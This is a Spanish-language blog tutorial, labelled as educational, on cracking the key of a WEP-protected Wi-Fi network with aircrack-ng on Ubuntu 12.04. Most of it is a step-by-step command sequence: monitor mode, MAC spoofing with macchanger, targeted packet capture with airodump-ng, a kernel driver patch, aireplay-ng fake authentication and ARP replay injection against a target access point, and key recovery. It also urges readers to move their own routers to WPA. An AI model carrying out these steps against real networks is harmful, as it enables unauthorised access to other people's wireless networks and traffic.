Romper la clave a una Wifi con seguridad WEP (Aircrak+Ubuntu 12.04)

Que tal, En este post  vamos a romper la seguridad de una red WEP con fines educativos.
Primero que todo definamos WEP.
Según wikipedia: WEP es el sistema de cifrado incluido en el estándar IEEE 802.11como protocolo para redes Wireless que permite cifrar la información que se transmite.
Este protocolo utiliza un sistema  de cifrado  inseguro, ya que se puede romper fácilmente con software como Aircrak, a si que revisa tu módem en casa y si usas este tipo de cifrado cámbialo inmediatamente a WPA que es la mejora del WEP.
Para este tutorial usamos un ordenador  ASPIRE4741,con Ubuntu 12.04+Aircrak1.1
Lo primero es instalar Aircrak y Macchanger. Lo pudes hacer asi.


Paso 1:
Para versiones inferiores a unbuntu 12.04

apt-get install aircrack-ng

Para instalar Aircrack en unbuntu 12.04 lo descargas de esta direccion porque al parecer no esta en lo repositorios.Para i386
Luego en la terminal te diriges a la carpeta donde lo descargaste con el comando "cd"

cd /home/luis/Descargas/

sudo dpkg -i aircrack-ng_1.1-1.1build1_amd64.deb

Paso 2:

Luego obtenemos el nombre de nuestra tarjeta de red para el equipo.

sudo ifconfig

Aperecera algo como esto

lo cual me dice que tengo dos tarjetas de red, la eth0 y la wlan0, como su nombre lo dice la que vamos a utilizar es la wlan0 en mi caso.


Paso 3:

Ponemos en modo monitor nuestra tarjeta.

sudo airmon-ng start wlan0

Aparecera algo como la imagen anterior, observe detalladamente la linea seleccionada y se dará cuenta que el nombre de nuestra tarjeta cambia por mon0.

luego en la terminal tecleas.
Paso 4:

sudo ifconfig mon0 down

Esto desactiva la tarjeta. Ahora en la misma terminal.

Paso 5:

sudo macchanger -m 00:11:22:33:44:55 mon0

Cambia la dirección mac de tu tarjeta por 00:11:22:33:44:55 

Paso 6:

sudo ifconfig mon0 up

Vuelve a activar la tarjeta. En la terminal estos tres últimos comando debieron quedar asi.

Paso 7:

sudo airodump-ng mon0

El comando anterior es para capturar paquetes wireless 802.11. 

esperas hasta que aparezca la red deseada que sea "WEP". cuando aperecaz presionas Ctrl+c.

Paso 8:
Abre una nueva terminal, adaptas el comando a tu caso.

sudo airodump-ng -c [CH] -w [ESSID] --bssid [BSSID] mon0

Donde el [CH]: es el numero que aparece en la columna CH para la red elejida de la terminal donde ejecutaste el airodump-ng. Anoto  que el CH debe ser mayor a cero.
[ESSID]:Nombre de la red tambien esta en la terminal donde digitaste el comando airodump-ng.
[BSSID]:La direccion Mac del equipo al que se ataca no esta de mas anotar que      
tambien esta en la terminal donde digitaste el comando airodump-ng.
Bueno nuestro comando debe quedar mas o menos asi

sudo airodump-ng -c 1 -w XXXXX --bssid 8X:CX:AX:CX:8X:0X mon0

En mi caso al ejecuar el comando en la parte superior derecha me daba este mensaje de error  fixed channel mon0: -1. 

Tranquilos que esto se soluciona con un parche al kernel. SI NO TIENES ESTE ERROR NO HAGAS ESTE PASO
Paso 9:
Lo primero es descargar este archivo que contiene los drivers de las tarjetas de red inalambricas para linux.
Lo descomprimes de forma gráfica o por la terminal como sea de tu preferencia. Si es por la terminal lo puedes hacer asi "Terminal Nueva".

tar -jxf compat-wireless-3.4-rc1-2.tar.bz2 

Te ubicas dentro de la carpeta con la terminal.

cd compat-wireless-3.4-rc1-2/

Descargas el parche de Aircrack

wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch

Instalo el parche

 sudo apt-get install patch

patch ./net/wireless/chan.c channel-negative-one-maxim.patch

sudo apt-get install build-essential

Luego compilas e instalas.

 make
 sudo make install
 sudo make unload
 sudo reboot 

Ahora si tenemos nuestro sistemas a punto para usar correctamente Aircrak.
Espera que se reinicie la maquina y repite los pasos del 1 al 8.
Paso 10:En una nueva terminal pones.

sudo aireplay-ng -1 6000 -a 8X:CX:AX:CX:8X:0X -h 00:11:22:33:44:55 mon0

Donde 8X:CX:AX:CX:8X:0X es la Mac del equipo atacado.
Paso 11:En una nueva terminal pones.

sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 8X:CX:AX:CX:8X:0X -h 00:11:22:33:44:55 mon0

Paso 12:Esperas que los datas en la terminal del paso 8 lleguen almenos a 5000 y ejecutas este comando en una terminal nueva.

sudo aircrack-ng -z XXXXX*.cap 

Listo tenemos la clave de la red.